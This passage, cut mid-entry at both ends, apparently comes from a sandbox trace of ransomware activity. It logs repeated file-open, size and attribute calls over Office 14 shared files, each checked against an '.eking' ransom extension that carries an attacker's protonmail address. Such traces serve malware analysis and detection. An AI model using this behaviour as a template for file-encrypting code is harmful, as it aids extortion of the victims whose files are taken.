Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0169.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.954] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1198464) returned 1 [0169.954] CloseHandle (hObject=0x1ec) returned 1 [0169.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0169.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0169.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.955] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=705392) returned 1 [0169.955] CloseHandle (hObject=0x1ec) returned 1 [0169.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0169.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0169.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.963] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6747) returned 1 [0169.963] CloseHandle (hObject=0x1ec) returned 1 [0169.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0169.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0169.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.969] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=24976) returned 1 [0169.969] CloseHandle (hObject=0x1ec) returned 1 [0169.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0169.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0169.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.973] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=232840) returned 1 [0169.973] CloseHandle (hObject=0x1ec) returned 1 [0169.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0169.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0169.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.977] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=30056) returned 1 [0169.977] CloseHandle (hObject=0x1ec) returned 1 [0169.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0169.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0169.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.316] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2624) returned 1 [0170.316] CloseHandle (hObject=0x1ec) returned 1 [0170.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0170.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0170.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.524] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=596341) returned 1 [0170.524] CloseHandle (hObject=0x1ec) returned 1 [0170.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0170.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0170.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.541] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3186) returned 1 [0170.541] CloseHandle (hObject=0x1ec) returned 1 [0170.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0170.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0170.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.542] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1347) returned 1 [0170.542] CloseHandle (hObject=0x1ec) returned 1 [0170.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0170.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0170.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0170.723] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1457) returned 1 [0170.723] CloseHandle (hObject=0x1e4) returned 1 [0170.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0170.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0170.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.064] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5884) returned 1 [0171.064] CloseHandle (hObject=0x1b8) returned 1 [0171.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0171.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0171.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.404] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=19848) returned 1 [0171.404] CloseHandle (hObject=0x1e8) returned 1 [0171.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0171.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0171.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.410] SetEvent (hEvent=0x174) returned 1 [0171.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.411] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=18336) returned 1 [0171.411] CloseHandle (hObject=0x1e8) returned 1 [0171.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0171.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0171.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.412] SetEvent (hEvent=0x174) returned 1 [0171.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.413] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=752552) returned 1 [0171.413] CloseHandle (hObject=0x1e8) returned 1 [0171.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0171.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0171.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 